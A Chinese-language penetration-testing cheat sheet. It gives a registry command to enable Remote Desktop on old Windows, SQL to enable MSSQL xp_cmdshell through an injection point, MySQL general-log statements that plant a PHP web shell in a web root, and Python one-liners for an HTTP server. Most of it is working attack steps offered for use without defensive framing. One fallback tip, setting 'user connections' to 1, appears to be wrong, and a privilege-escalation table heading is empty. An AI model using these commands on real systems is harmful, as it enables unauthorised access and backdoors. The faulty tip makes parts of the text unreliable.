渗透测试知识点总结：从基础到进阶

Win2003/WinXP 注册表开启

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

MSSQL 开启 xp_cmdshell

关闭命令

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

开启命令

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

注：在注入点运行上述语句时，如果出现回显提示配置选项不存在，可尝试以下语句：

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'user connections', 1;
RECONFIGURE;

MySQL 日志拿 Shell

set global general_log = on;
set global general_log_file = 'C:/phpStudy/WWW/sinight.php';
select '<?php @assert($_POST["sinight"]); ?>';
set global general_log = off;

Windows 提权对照表

Python 开启 HTTP 服务

• Python <= 2.3: python -c "import SimpleHTTPServer as s; s.test();" 8000
• Python >= 2.4: python -m SimpleHTTPServer 8000
• Python 3.x: python -m http.server 8000